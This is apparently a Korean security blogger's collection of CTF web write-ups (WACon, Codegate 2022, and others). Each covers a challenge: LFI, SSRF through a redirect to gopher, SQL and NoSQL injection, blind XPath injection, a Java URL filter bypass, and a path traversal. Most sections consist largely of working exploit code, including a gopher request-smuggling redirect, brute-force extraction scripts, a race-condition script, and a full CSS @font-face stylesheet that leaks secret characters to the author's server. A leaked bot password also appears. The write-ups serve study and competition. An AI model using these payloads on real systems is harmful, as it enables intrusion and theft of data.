kuncelan

http://114.203.209.112:8000/index.phtml?fun_004ded7246=php://filter/convert.base64-encode/resource=/var/www/html/load

lfi가 존재한다

<?php

// LOCATION : ./internal_e0134cd5a917.php

error_reporting(0);
session_start();

if (!isset($_SESSION['username']))
{
    header('location: ./login.php');
    die();
}

if (__FILE__ === $_SERVER['SCRIPT_FILENAME'])
{
    die("only in include");
}

function valid_url($url)
{
    $valid = False;
    $res=preg_match('/^(http|https)?:\\/\\/.*(\\/)?.*$/',$url);
    if (!$res) $valid = True;
    try{ parse_url($url); }
    catch(Exception $e){ $valid = True;}
    $int_ip=ip2long(gethostbyname(parse_url($url)['host']));
    return $valid 
            || ip2long('127.0.0.0') >> 24 == $int_ip >> 24 
            || ip2long('10.0.0.0') >> 24 == $int_ip >> 24 
            || ip2long('172.16.0.0') >> 20 == $int_ip >> 20 
            || ip2long('192.168.0.0') >> 16 == $int_ip >> 16 
            || ip2long('0.0.0.0') >> 24 == $int_ip >> 24;
}

function get_data($url)
{

    if (valid_url($url) === True) { return "IP not allowed or host error"; }

    $ch = curl_init();
    $timeout = 7;
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, True);
    curl_setopt($ch, CURLOPT_MAXREDIRS, 1);
    curl_setopt($ch, CURLOPT_TIMEOUT, $timeout);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION,1);
    curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
    $data = curl_exec($ch);

    if (curl_error($ch))
    {
        curl_close($ch);
        return "Error !";
    }

    curl_close($ch);
    return $data;
}

function gen($user){
    return substr(sha1((string)rand(0,getrandmax())),0,20);
}

if(!isset($_SESSION['X-SECRET'])){ $_SESSION["X-SECRET"] = gen(); }
if(!isset($_COOKIE['USER'])){ setcookie("USER",$_SESSION['username']); }
if(!isset($_COOKIE['X-TOKEN'])){ setcookie("X-TOKEN",hash("sha256", $_SESSION['X-SECRET']."guest")); }

$IP = (isset($_SERVER['HTTP_X_HTTP_HOST_OVERRIDE']) ? $_SERVER['HTTP_X_HTTP_HOST_OVERRIDE'] : $_SERVER['REMOTE_ADDR']);

$out = "";

if (isset($_POST['url']) && !empty($_POST['url']))
{
    if ( 
        $IP === "127.0.0.1" 
        & $_COOKIE['X-TOKEN'] === hash("sha256", $_SESSION['X-SECRET'].$_COOKIE['USER']) 
        & strpos($_COOKIE['USER'], 'admin') !== false 
    )
    {
        $out = get_data($_POST['url']);
    }
    else
    {
        $out = "Only the administrator can test this function from 127.0.0.1!";
    }

}

?>

<main role="main" class="container">
<h1 class="mt-5">𝖈𝖚𝖗𝖑:// ?</h1>
<p class="lead">cURL is powered by libcurl , used to interact with websites 🌐</p>
<form method="post" >
<legend><label for="url">Website URL</label></legend>
<input class="form-control" type="url" name="url" style="width:100%" />
<input class="form-control" type="submit" value="👉 Request HTTP 👈">
</form><?php echo $out; ?> 
</main>

load.phtml 추출된결과

curl 기능을 admin만 localhost에서 쓸 수 있다고 해놨는데, 이는 우회가 가능하다.

function gen($user){
    return substr(sha1((string)rand(0,getrandmax())),0,20);
}

if(!isset($_SESSION['X-SECRET'])){ $_SESSION["X-SECRET"] = gen(); }
if(!isset($_COOKIE['USER'])){ setcookie("USER",$_SESSION['username']); }
if(!isset($_COOKIE['X-TOKEN'])){ setcookie("X-TOKEN",hash("sha256", $_SESSION['X-SECRET']."guest")); }

getrandmax() 로 랜덤값을 뽑아 sha1으로 해싱하고 10바이트만 뽑아서 이를 다시 username과 붙여 sha256 해싱을 한다.

하지만 getrandmax는 21억가량밖에 안되기 때문에, 개인 pc로도 적은시간 안에 해시를 크랙해낼 수 있다.

from arang import *

xtoken = b"b0b32995820dad31a559a8611a610f9b3c57072b8fd757739c3605e50877d2fd"

for i in range(40000000,500000000):
    xsecret = he(sha1(str(i)))[:20]
    t = he(sha256(xsecret+b"guest"))
    if xtoken == t:
        print(xsecret)
        break

    if i % 10000000 == 0:
        print(f"[+] {i} : {xsecret} {t}")

대충 이런식으로 해시를 크랙해보면 내 세션에 대한 xsecret값이 나타난다

이제 이 xsecret으로 valid한 admin x-token을 만들어내면 token auth를 우회할 수 있다.

$IP = (isset($_SERVER['HTTP_X_HTTP_HOST_OVERRIDE']) ? $_SERVER['HTTP_X_HTTP_HOST_OVERRIDE'] : $_SERVER['REMOTE_ADDR']);

...

    if ( $IP === "127.0.0.1" ){

...

이건 X-HTTP-HOST-OVERRIDE라는 헤더를 추가해서 127.0.0.1으로 맞춰줌으로써 우회가 가능하다

function valid_url($url)
{
    $valid = False;
    $res=preg_match('/^(http|https)?:\\/\\/.*(\\/)?.*$/',$url);
    if (!$res) $valid = True;
    try{ parse_url($url); }
    catch(Exception $e){ $valid = True;}
    $int_ip=ip2long(gethostbyname(parse_url($url)['host']));
    return $valid 
            || ip2long('127.0.0.0') >> 24 == $int_ip >> 24 
            || ip2long('10.0.0.0') >> 24 == $int_ip >> 24 
            || ip2long('172.16.0.0') >> 20 == $int_ip >> 20 
            || ip2long('192.168.0.0') >> 16 == $int_ip >> 16 
            || ip2long('0.0.0.0') >> 24 == $int_ip >> 24;
}

이제 curl기능을 쓸 수 있는데, valid_url이라는 검증함수가 존재한다.

  1. http/https scheme만 사용 가능
  2. host파싱해서 gethostbyname으로 호스트에 해당하는 값을 ip2long으로 long형식 전환
  3. /24, /20, /16 등으로 local ip 대역 검증

우회하려고 용좀써봤는데 우회가 안되더라..

        $ch = curl_init();
    $timeout = 7;
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, True);
    curl_setopt($ch, CURLOPT_MAXREDIRS, 1);
    curl_setopt($ch, CURLOPT_TIMEOUT, $timeout);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION,1);
    curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
    $data = curl_exec($ch);

근데 curl 옵션에 CURLOPT_FOLLOWLOCATION 이 존재한다

302 Redirection을 curl이 처리하기때문에 내서버로 보낸다음 302 redirection때리면 될거같다.

<?php
header("Location: gopher://127.0.0.1:80/_POST%20/internal_1d607d2c193b.php%20HTTP/1.1%0d%0aHost:%20127.0.0.1:80%0d%0aAuthorization:%20Basic%20YWRtaW4nfHwxIzpndWVzdA==%0d%0aContent-Type:%20application/x-www-form-urlencoded%0d%0aContent-Length:%203%0d%0a%0d%0aa=a%0d%0a%0d%0a");

#header("Location: <http://127.0.0.1:80/internal_e0134cd5a917.php>");
#header("Location: <http://127.0.0.1:80/internal_1d607d2c193b.php>");
?> 

load.phtml에 주석으로 써있던 internal_e0134cd5a917.php 파일을 location으로 돌리면

Untitled

next file location ㄷㄷ

Untitled

basic authorization이 없다고 한다

Untitled

guest:guest로 보내보니 SQL : user not found라고 한다

아마도 basic authorization을 sql query안에 넣나보다

Untitled

sqli 구문을 넣어보면 localhost only라고 한다

이건 아까처럼 특정헤더나 이런거로 우회가 안됐다

Authorization 헤더는 curl로 타사이트에서 302로 전달이 안되기때문에 고심하던 찰나

Untitled

sqli로 테이블 뽑아보니 플래그 일부가 나왔다

고퍼를 스랜다

header("Location: gopher://127.0.0.1:80/_POST%20/internal_1d607d2c193b.php%20HTTP/1.1%0d%0aHost:%20127.0.0.1:80%0d%0aAuthorization:%20Basic%20YWRtaW4nfHwxIzpndWVzdA==%0d%0aContent-Type:%20application/x-www-form-urlencoded%0d%0aContent-Length:%203%0d%0a%0d%0aa=a%0d%0a%0d%0a");

gopher로 http raw packet을 만들어 보내면

Untitled

나머지 패킷 획득

**WACon{Try_using_Gophhhher_ffabcdbc}**

본선 못갔으니 대충 쓰겠다..

 

웹을 너무 빨리 풀어서 블체만 봤는데 개인적으로 블체에 대해 너무 몰라서 많이 아쉬운 감이 있었다 흑흑..

 

nft 문제는 팀원인 epist가 도와줬다(ㄳㄳ)


[Baby First]

요약

ssrf로 regex검사를 우회하여 local file을 leak한다

 

당연히 baby 붙어있길래 이거부터 봐서 그런지 퍼스트 솔브를 먹어버린 문제이다 ;;;

대충 코드 보면 class파일 내의 lookupImg 함수에서 memo의 내용 중 [] 대괄호 안에 들어가는걸 url로 받아 image를 파싱해서 img tag에 넣어준다.

 

    pattern = Pattern.compile("^[a-z]+:");
    matcher = pattern.matcher(tmp);
    if (!matcher.find() || matcher.group().startsWith("file"))
      return "";

 

이 때 java.net.URL을 사용해서 넣어주는데, 그 전에 startsWith 함수로 file: 프로토콜로 시작하는지 검사한다.

 

java.net.URL을 auditing 해보면 

https://github.com/AdoptOpenJDK/openjdk-jdk11/blob/19fb8f93c59dfd791f62d41f332db9e306bc1422/src/java.base/share/classes/java/net/URL.java#L575

 

GitHub - AdoptOpenJDK/openjdk-jdk11: Mirror of the jdk/jdk11 Mercurial forest at OpenJDK

Mirror of the jdk/jdk11 Mercurial forest at OpenJDK - GitHub - AdoptOpenJDK/openjdk-jdk11: Mirror of the jdk/jdk11 Mercurial forest at OpenJDK

github.com

위와같이 url: 로 시작하면 start(input argument, url)를 += 4 해주는것을 볼 수 있따.

 

memo=[url:file:///flag] 해주면 풀린다

 


[ CAFE ]

요약 : xss bot에 admin password가 존재한다(언인텐), parse_url 버그(?)를 이용한다(인텐)

 

          case 'iframe':
            $src = $element->src;
            $host = parse_url($src)['host'];
            if (strpos($host, 'youtube.com') !== false){
              $result .= '<iframe src="'. str_replace('"', '', $src) .'"></iframe>';
            }
            break;

 

parse_url($src)['host']로 host 검사를 하는데, 이는 쉽게 우회가 가능하다.

 

관련된 문서로는 오랜지 형님 자료가 참 좋다.

 

찾기 귀찮으니 따로 링크는 올리지 않겠다.

 

# xss bot python code

driver.get('http://3.39.55.38:1929/login')
driver.find_element_by_id('id').send_keys('admin')
driver.find_element_by_id('pw').send_keys('$MiLEYEN4') ## ????
driver.find_element_by_id('submit').click()

 

하튼 원래는 그런문제였지만 xss bot에 패스워드가 들어있었다.

 

웹 빠르게 다 풀고 블체까지 보고 완전히 실직한다음 인텐으로 다시 보려했지만 블록체인 한문제를 풀지못하고 그대로 대회가 끝나 보지 못했다. 대충 javascript://youtube.com/[개행][코드]로 하면 될거같다


 

[ superbee ]

 

요약 : admin/password (언인텐) AES uninitialized key+padding it, iv from key decrypt

 

 

난 솔직히 대회하면서 이문제가 왜 100점까지 털렸지라는 의문을 끝끝내 지울 수가 없었다.

 

아 그런데 대회가 끝나고보니 계정이 admin/password 였다고한다.

 

으..;

 

ar9ang3@ar9ang3:~/web/dirsearch$ nc 3.39.49.174 30001
GET /admin/authkey HTTP/1.2
Host: localhost

HTTP/1.1 200 OK
Date: Sat, 26 Feb 2022 11:44:45 GMT
Content-Length: 96
Content-Type: text/plain; charset=utf-8

00fb3dcf5ecaad607aeb0c91e9b194d9f9f9e263cebd55cdf1ec2a327d033be657c2582de2ef1ba6d77fd22784011607

일단 auth_key를 auth_secret_key였나? 하튼 그거가지고 AES CBC Encrypt해서 admin페이지에 뿌려준다

 

host localhost로 검사하고있지만 걍 직접 nc로 붙어서 host 바꿔주니 뚝 떨어졌다.

 

func (this *AdminController) AuthKey() {
    encrypted_auth_key, _ := AesEncrypt([]byte(auth_key), []byte(auth_crypt_key))
    this.Ctx.WriteString(hex.EncodeToString(encrypted_auth_key))
}

대충 코드 보면 위에서 암호화할때 쓰이는 auth_crypt_key가 선언만 되어있고 값을 불러오지 않는다.

 

func AesEncrypt(origData, key []byte) ([]byte, error) {
    padded_key := Padding(key, 16)
    block, err := aes.NewCipher(padded_key)
    if err != nil {
        return nil, err
    }
    blockSize := block.BlockSize()
    origData = Padding(origData, blockSize)
    blockMode := cipher.NewCBCEncrypter(block, padded_key[:blockSize])
    crypted := make([]byte, len(origData))
    blockMode.CryptBlocks(crypted, origData)
    return crypted, nil
}

 

그러고 그걸 key size만큼 padding해주는데 그 결과는 \x10*16 이다

 

iv 또한 위의 padding으로 만들어진 key의 값에서 blocksize만큼 잘라서 쓰기 때문에 우리는 key와 iv를 모두 안다.

 

arang@DESKTOP-TUE2B66:/mnt/d/jw/personal/ctf/2022codegate$ python3 a.py
b'Th15_sup3r_s3cr3t_K3y_N3v3r_B3_L34k3d\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b'

개같이 복호화

 

개같이 플래그

 


 

[ myblog ]

 

요약 : blind xpath injection으로 catalina.properties에 설정된 environ variable leak

 

 

 

이제 jsp 문제 나오면 일단 톰캣, jdk부터 오디팅하는 습관이 들어져버렸다

 

대충 catalina.properties에 플래그 세팅해준거 보니 System.getProperty 같은 함수가 xpath 사용할 때 내부적으로 쓸거라 생각이 들어 우리의 갓-서브라임 형님께 ctrl+shift+f로 getProperty 검색해서 reference check를 했다

 

그러다보니 뭐 SecuritySupport.java에 쓰는게 있었는데 대충 기억해놓고있다가

 

 

대충 xpath function들 이용해서 풀거같아서 그쪽 보니 system-property라고 아주 좋아보이는 놈이 있었다.

 

 

대충 위 흐름으로 호출되는거 볼 수 있는데

로컬 테스트 bingo

 

http://3.39.79.180/blog/read?idx=%27%20or%20@idx=string-length(string-length(system-property(%27flag%27))=46=%27true%27)-4%20and%20@idx=%271

 

대충 blind xpath injeciton 구문 짜서 length check하고

 

 

from arang import *

s = requests.session()
proxies = {"http":"http://127.0.0.1:8888","https":"http://127.0.0.1:8888"}
headers = {"Cookie": "JSESSIONID=C37A435A55859F879AC71B4ECE966C07"}
s.proxies = proxies
s.headers = headers
s.verify = False
num = 1
#codegate
flag = "codegate2022{"
for i in range(len(flag)+1,46+1):
    for c in "0123456789abcdef}":
        url = f"http://3.39.79.180/blog/read?idx=' or @idx=string-length(substring(system-property('flag'),{i},1)='{c}'='true')-4 and @idx='1"
        r = s.get(url)
        if 'asdf' not in r.content.decode():
            flag += c
            print(f"[{len(flag)}/46] flag - {flag}")
            break

 

do exploit

 

get flag

 


[ nft ]

 

요약 : blockchain 이지만 webchall, 1day랑 python trick 이용

 

    modifier contains (string memory what, string memory where) {
        bytes memory whatBytes = bytes (what);
        bytes memory whereBytes = bytes (where);
    
        require(whereBytes.length >= whatBytes.length);
    
        bool found = false;
        for (uint i = 0; i <= whereBytes.length - whatBytes.length; i++) {
            bool flag = true;
            for (uint j = 0; j < whatBytes.length; j++)
                if (whereBytes [i + j] != whatBytes [j]) {
                    flag = false;
                    break;
                }
            if (flag) {
                found = true;
                break;
            }
        }
        require (!found);
    
        _;
    }

contains 함수가 좀 엉성하다

 

[requirements.txt 중]

Django==3.2.1

 

?

https://packetstormsecurity.com/files/cve/CVE-2021-33571

 

CVE-2021-33571 ≈ Packet Storm

Red Hat Security Advisory 2021-4702-01 - Red Hat Satellite is a systems management tool for Linux-based infrastructure. It allows for provisioning, remote management, and monitoring of multiple Linux deployments with a single centralized tool. Issues addre

packetstormsecurity.com

 

굿

 

>>> ipaddress.IPv4Address("127.0.0.01")
IPv4Address('127.0.0.1')

 

이제 127.00.0.1 주면 contains 우회할 수 있다

 

>>> uri="1.1.1.1/account/storages//a.b.c"
>>> nft_file = uri.split(nft_path + '/')[-1]
>>> nft_file
'/a.b.c'
>>> path = os.path.join(os.getcwd(), nft_path, nft_file)
>>> path
'/a.b.c'

 

        nft_file = uri.split(nft_path + '/')[-1]
        if nft_file.find('.') != -1 and nft_file.split('.')[-1]:
            path = os.path.join(os.getcwd(), nft_path, nft_file)

            with open(path, 'rb') as f:
                return f.read()

 

os.path.join 쓸 때 세번째 인자 절대경로 주면 절대경로로 바뀌어버리는 trick이 있다

 

이거랑 엮어쓰면

 

127.00.0.1/acount/storages//home/ctf/flag.txt

 

이렇게 주면 with open(path, 'rb') as f에서 path에 /home/ctf/flag.txt가 들어가게 되고 플래그를 읽을 수 있다.

 

취약점은 찾았으나 블체 눕눕이라 실제 익스를 못해서 팀원인 epist가 대신 익스해줬다(ㄳㄳ)

 

 

문 제

분 야

점 수

2.2 Vaccine Paper

WEB

?

적국의 내부 연구자료 공유 시스템에 접근하였다.

관리자 키를 이용하여 치료제 정보를 탈취하라.

http://3.35.121.198:40831

풀이 절차

  1. 주석으로 숨겨진 vaccine.php 확인
  2. upload <link> 태그를 이용하여 내서버의 xs-leak 스타일을 적용
  3. paper.php에 적용된 csp style-src font-src *임을 이용하여 font-face를 이용한 xs-leak 공격
  4. 내 서버로 전송된 문자들을 정렬하여 vaccine.php에 전송

정 답

flag{Y0u_5uCc3sfu11y_7R4CK_adM1n_4nd_G3t_Vaccine}

풀 이 과 정

회원가입하고 로그인하면 위와같은 화면이 뜬다.

Upload Paper 메뉴에선 아무 제약없이 input을 업로드할 수 있고, 이를 MyPage에서 보이는 업로드된 게시글의 링크를 통해 들어가면 내가 넣은 input이 그대로 출력된다.



--
-------------------------------------------------------------------------------------------- 

Content-Security-Policy: default-src 'none'; script-src 'nonce-2053560439'; style-src *; font-src *; base-uri 'none';


----------------------------------------------------------------------------------------------

 

하지만 csp가 걸려있어 script nonce를 맞춰야하고, style font는 제약없이 사용이 가능하다.



내가 올린글은 약간의 pow를 맞추면 어드민에게 전송되서

headlesschrome/77.0.3835.0 으로 내 글에 접속하는것을 알 수 있다.

 



 

처음엔 script nonce leak 문제인줄 알고 삽질을 많이 했는데 알고보니 메인페이지 주석에 /vaccine.php가 있었다 ㅡㅡㅋㅋ;;;;;

 

vaccine.php는 약간의 pow를 주면 tracking code를 검사하여 admin의 것이면 vaccine을 주는것이다. 이걸 몰라서 삽질을 좀 했는데..

 

tracking code는 이처럼 박혀있는데 css에 의해 display:none으로 숨겨져있다.

 

하지만 우리는 마음대로 stylesheet를 불러올 수 있으며, font 외부요청이 자유롭게 가능하다(style-src *; font-src *;)

 

따라서 font-face를 이용한 xs leak을 사용한다면 쉽게 풀이가 가능하다.

(reference : http://vulnerabledoma.in/poc_unicode-range2.html)

 

-----------------------------------------------------------------------------------------------

@font-face{

           font-family:attack;

           src:url('//ar9ang3.com/?Found:0');

           unicode-range:U+0030;

}

@font-face{

           font-family:attack;

           src:url('//ar9ang3.com/?Found:1');

           unicode-range:U+0031;

}

@font-face{

           font-family:attack;

           src:url('//ar9ang3.com/?Found:2');

           unicode-range:U+0032;

}

@font-face{

           font-family:attack;

           src:url('//ar9ang3.com/?Found:3');

           unicode-range:U+0033;

}

@font-face{

           font-family:attack;

           src:url('//ar9ang3.com/?Found:4');

           unicode-range:U+0034;

}

@font-face{

           font-family:attack;

           src:url('//ar9ang3.com/?Found:5');

           unicode-range:U+0035;

}

@font-face{

           font-family:attack;

           src:url('//ar9ang3.com/?Found:6');

           unicode-range:U+0036;

}

@font-face{

           font-family:attack;

           src:url('//ar9ang3.com/?Found:7');

           unicode-range:U+0037;

}

@font-face{

           font-family:attack;

           src:url('//ar9ang3.com/?Found:8');

           unicode-range:U+0038;

}

@font-face{

           font-family:attack;

           src:url('//ar9ang3.com/?Found:9');

           unicode-range:U+0039;

}

@font-face{

           font-family:attack;

           src:url('//ar9ang3.com/?Found:A');

           unicode-range:U+0041;

}

@font-face{

           font-family:attack;

           src:url('//ar9ang3.com/?Found:B');

           unicode-range:U+0042;

}

@font-face{

           font-family:attack;

           src:url('//ar9ang3.com/?Found:C');

           unicode-range:U+0043;

}

@font-face{

           font-family:attack;

           src:url('//ar9ang3.com/?Found:D');

           unicode-range:U+0044;

}

@font-face{

           font-family:attack;

           src:url('//ar9ang3.com/?Found:E');

           unicode-range:U+0045;

}

@font-face{

           font-family:attack;

           src:url('//ar9ang3.com/?Found:F');

           unicode-range:U+0046;

}

@font-face{

           font-family:attack;

           src:url('//ar9ang3.com/?Found:G');

           unicode-range:U+0047;

}

@font-face{

           font-family:attack;

           src:url('//ar9ang3.com/?Found:H');

           unicode-range:U+0048;

}

@font-face{

           font-family:attack;

           src:url('//ar9ang3.com/?Found:I');

           unicode-range:U+0049;

}

@font-face{

           font-family:attack;

           src:url('//ar9ang3.com/?Found:J');

           unicode-range:U+004A;

}

@font-face{

           font-family:attack;

           src:url('//ar9ang3.com/?Found:K');

           unicode-range:U+004B;

}

@font-face{

           font-family:attack;

           src:url('//ar9ang3.com/?Found:L');

           unicode-range:U+004C;

}

@font-face{

           font-family:attack;

           src:url('//ar9ang3.com/?Found:M');

           unicode-range:U+004D;

}

@font-face{

           font-family:attack;

           src:url('//ar9ang3.com/?Found:N');

           unicode-range:U+004E;

}

@font-face{

           font-family:attack;

           src:url('//ar9ang3.com/?Found:O');

           unicode-range:U+004F;

}

@font-face{

           font-family:attack;

           src:url('//ar9ang3.com/?Found:P');

           unicode-range:U+0050;

}

@font-face{

           font-family:attack;

           src:url('//ar9ang3.com/?Found:Q');

           unicode-range:U+0051;

}

@font-face{

           font-family:attack;

           src:url('//ar9ang3.com/?Found:R');

           unicode-range:U+0052;

}

@font-face{

           font-family:attack;

           src:url('//ar9ang3.com/?Found:S');

           unicode-range:U+0053;

}

@font-face{

           font-family:attack;

           src:url('//ar9ang3.com/?Found:T');

           unicode-range:U+0054;

}

@font-face{

           font-family:attack;

           src:url('//ar9ang3.com/?Found:U');

           unicode-range:U+0055;

}

@font-face{

           font-family:attack;

           src:url('//ar9ang3.com/?Found:V');

           unicode-range:U+0056;

}

@font-face{

           font-family:attack;

           src:url('//ar9ang3.com/?Found:W');

           unicode-range:U+0057;

}

@font-face{

           font-family:attack;

           src:url('//ar9ang3.com/?Found:X');

           unicode-range:U+0058;

}

@font-face{

           font-family:attack;

           src:url('//ar9ang3.com/?Found:Y');

           unicode-range:U+0059;

}

@font-face{

           font-family:attack;

           src:url('//ar9ang3.com/?Found:Z');

           unicode-range:U+005A;

}

 

@font-face{

           font-family:attack;

           src:url('//ar9ang3.com/?Found:a');

           unicode-range:U+0061;

}

@font-face{

           font-family:attack;

           src:url('//ar9ang3.com/?Found:b');

           unicode-range:U+0062;

}

@font-face{

           font-family:attack;

           src:url('//ar9ang3.com/?Found:c');

           unicode-range:U+0063;

}

@font-face{

           font-family:attack;

           src:url('//ar9ang3.com/?Found:d');

           unicode-range:U+0064;

}

@font-face{

           font-family:attack;

           src:url('//ar9ang3.com/?Found:e');

           unicode-range:U+0065;

}

@font-face{

           font-family:attack;

           src:url('//ar9ang3.com/?Found:f');

           unicode-range:U+0066;

}

@font-face{

           font-family:attack;

           src:url('//ar9ang3.com/?Found:g');

           unicode-range:U+0067;

}

@font-face{

           font-family:attack;

           src:url('//ar9ang3.com/?Found:h');

           unicode-range:U+0068;

}

@font-face{

           font-family:attack;

           src:url('//ar9ang3.com/?Found:i');

           unicode-range:U+0069;

}

@font-face{

           font-family:attack;

           src:url('//ar9ang3.com/?Found:j');

           unicode-range:U+006A;

}

@font-face{

           font-family:attack;

           src:url('//ar9ang3.com/?Found:k');

           unicode-range:U+006B;

}

@font-face{

           font-family:attack;

           src:url('//ar9ang3.com/?Found:l');

           unicode-range:U+006C;

}

@font-face{

           font-family:attack;

           src:url('//ar9ang3.com/?Found:m');

           unicode-range:U+006D;

}

@font-face{

           font-family:attack;

           src:url('//ar9ang3.com/?Found:n');

           unicode-range:U+006E;

}

@font-face{

           font-family:attack;

           src:url('//ar9ang3.com/?Found:o');

           unicode-range:U+006F;

}

@font-face{

           font-family:attack;

           src:url('//ar9ang3.com/?Found:p');

           unicode-range:U+0070;

}

@font-face{

           font-family:attack;

           src:url('//ar9ang3.com/?Found:q');

           unicode-range:U+0071;

}

@font-face{

           font-family:attack;

           src:url('//ar9ang3.com/?Found:r');

           unicode-range:U+0072;

}

@font-face{

           font-family:attack;

           src:url('//ar9ang3.com/?Found:s');

           unicode-range:U+0073;

}

@font-face{

           font-family:attack;

           src:url('//ar9ang3.com/?Found:t');

           unicode-range:U+0074;

}

@font-face{

           font-family:attack;

           src:url('//ar9ang3.com/?Found:u');

           unicode-range:U+0075;

}

@font-face{

           font-family:attack;

           src:url('//ar9ang3.com/?Found:v');

           unicode-range:U+0076;

}

@font-face{

           font-family:attack;

           src:url('//ar9ang3.com/?Found:w');

           unicode-range:U+0077;

}

@font-face{

           font-family:attack;

           src:url('//ar9ang3.com/?Found:x');

           unicode-range:U+0078;

}

@font-face{

           font-family:attack;

           src:url('//ar9ang3.com/?Found:y');

           unicode-range:U+0079;

}

@font-face{

           font-family:attack;

           src:url('//ar9ang3.com/?Found:z');

           unicode-range:U+007A;

}

 

.tracker-hidden{

        display:block!important;

           font-family:attack;

}


---------------------------------------------------------------------------------------------

 

tracker-hidden display:none으로 되어있기 때문에 visible하게 바꾸어 font-family가 적용되도록 한 후, unicode-range를 이용하여 [A-Za-z0-9] 범위의 글자가 있을 시 해당 font-family를 통해 src:url()로 설정된 내 도메인으로 font 요청을 보내 어떤 글자가 존재하는지 알 수 있다.

 

이를 http://ar9ang3.com/aa.css 와 같이 css파일로 내 서버에 작성한 후,

<link rel="stylesheet" href="http://ar9ang3.com/aa.css">

upload할때 넣어주면 관리자가 내 글을 읽을때 작성한 css가 적용되어 xs-leak이 작동할 것이다.

실제로 내 서버로 한글자씩 전송됐으며,

 

 

Privacy Policy: In order to protect information of NVL, to access every work will be tracked.

To track your information, 32-byte secret code that only contains [0-9A-Za-z] will be used.

Each letters of secret code are in increasing order of ASCII code.

 

 

라고 메인페이지에 나와있었기 때문에 ascii order로 중복없이 되어있을것이기 때문에 이를 모두 모아 정렬하면,

 

 

admin tracker code '012378IJLMNQSWXYadeghilnopqrtuyz' 이다.

 

이를 vaccine.php에 담아 전송하면

플래그를 뿌려준다

 

 

 

참고) pow 코드

 
-----------------------------------------------------------------------------------------------

from arang import *

 

for i in range(0,0xfffffff):

           if i % 100000 == 0:

                     print(f'[+] doing {i}')

           s = hexencode(sha1(str(i)))

           if s[:6] == b'0b83ff':

                     print(i)

                     break

 

-----------------------------------------------------------------------------------------------

문 제

분 야

점 수

1.3 Intranet

web

?

노출된 적국의 생화학 연구소 내부 사이트에서, 관리자 권한을 탈취하여 내부 시스템을 탐색하라.

http://3.35.40.133

풀이 절차

  1. nginx route 설정 오류를 이용한 server source code leak
  2. nosql injection을 이용한 member권한 획득
  3. 기능 확인 후 race condition을 이용하여 admin 권한 획득
  4. 게시판의 member level=2 게시글 조회 시 플래그 획득

정 답

flag{This_is_top_secret_dont_you_agree}

풀 이 과 정

sign up / sign in 페이지가 있고

회원가입후 로그인하고 mypage에 가보면 perm Guest인것을 확인할 수 있다.

이때 /api/static/{:userid} 를 요청해오는데, 이와 서버가 nginx임을 미루어 보아 잘못된 route설정으로 인하여 file leak이 될 수도 있다는것을 가정해볼 수 있다.

이처럼 /api/static../User.js 를 요청하면 nginx에서의 잘못된 route설정으로 인하여 static디렉터리를 벗어나 본래 접근할 수 없는 파일에 접근하게 되어 서버단 코드를 획득할 수 있다.

----------------------------------------------------------------------------------------------

const signin = (req, res) => {

    User

        .findOne({

            userid: req.body.userid,

            password: req.body.password

        })

        .then(user => {

            if (!user) {

                res.status(406);

                res.send();

            } else {

                res.status(200);

                control

                    .sign({ id: user.userid })

                    .then(tok => {

                        res.send(JSON.stringify({

                            username: user.userid,

                            token: tok

                        }))}

                    );

            }})

        .catch(err => {

            res.status(500);

            res.send(JSON.stringify({ reason: { html: err } }));

        });

};


----------------------------------------------------------------------------------------------

서버단 코드 중 로그인 부분 코드를 보면 mongo db Model .findOne 메서드를 이용하여 사용자로부터 전달받은 id password key로 검색하는 것을 확인할 수 있다.

 

하지만 findOne 메서드를 이용하는점 + 서버의 구성이 app.use( bodyParser.urlencoded({ extended: true }) ); 로 이루어져 있기 때문에 사용자는 Object 객체를 직접 전달할 수 있다. 이로 인하여 nosql injection이 발생하게 되어

{"userid":"admin","password":{"$gt":""}} 와같이 요청하게 되면 admin의 패스워드를 모르더라도 로그인이 가능해진다.

 

nosql injection을 통해 admin의 토큰을 알아냈으니 local storage의 토큰값을 admin토큰으로 바꾸면 이와같이 admin으로 로그인된것을 확인할수있다.

 

 

하지만 해당 문제에서 진짜 어드민은 level=2 이상이 되어야한다.



현재 접속한 어드민은 level=1(member)로써 board list에서 조회할 수 있는 게시글은 자신의 레벨보다 낮은 레벨의 게시글만 조회할 수 있다. 따라서 문제의 목적에 따라 어드민 레벨을 획득하여야 한다.

 

이 상황에서 auth 동작이 다소 이상하게 되어있는데, 만약 올바른 division_number를 입력할 시 현재 접속한 계정의 level 0일경우 해당 계정의 level 1 올려주는 동작을 한다.

 

division_number는 알려져 있지 않지만 이또한 마찬가지로 nosql injection을 통해 레벨을 올릴 수 있다.

 

또한 해당 코드가 Division 모델에서 findOne 함수를 이용해 값을 찾고 updateOne을 이용해 update하는것으로 미루어보아 빠르게 해당 요청을 두번 전송하면 race condition이 발생하여 level이 두번 증가될 수 있을 가능성을 확인하였다.


---------------------------------------------------------------------------------------------- 

#-*- coding:utf-8 -*-

import requests

import sys

import time

import re

import string

import datetime

import json, os, sys, html, zlib

from arang import *

from concurrent.futures import ThreadPoolExecutor

from requests.packages.urllib3.exceptions import InsecureRequestWarning

requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

 

packet='''POST http://3.35.40.133/api/signup HTTP/1.1

Host: 3.35.40.133

Connection: keep-alive

Content-Length: 42

Accept: application/json, text/plain, */*

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36

Content-Type: application/json;charset=UTF-8

Origin: http://3.35.40.133

Referer: http://3.35.40.133/signup

Accept-Encoding: gzip, deflate

Accept-Language: ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7

 

'''

 

s = requests.session()

 

def raceCondition(args):

    global pp,s

    u = 'http://3.35.40.133/api/auth'   

    data = {"division_number":{"$gt":""}}

    r = s.post(u, data=json.dumps(data), headers=pp.headers)

    print('--------------')

    print(r.content)

    print('--------------')

 

   

 

for i in range(1,1000):

    # signup   

    pp = parsePacket(packet.format(i))

    pp.proxies="127.0.0.1:8888"

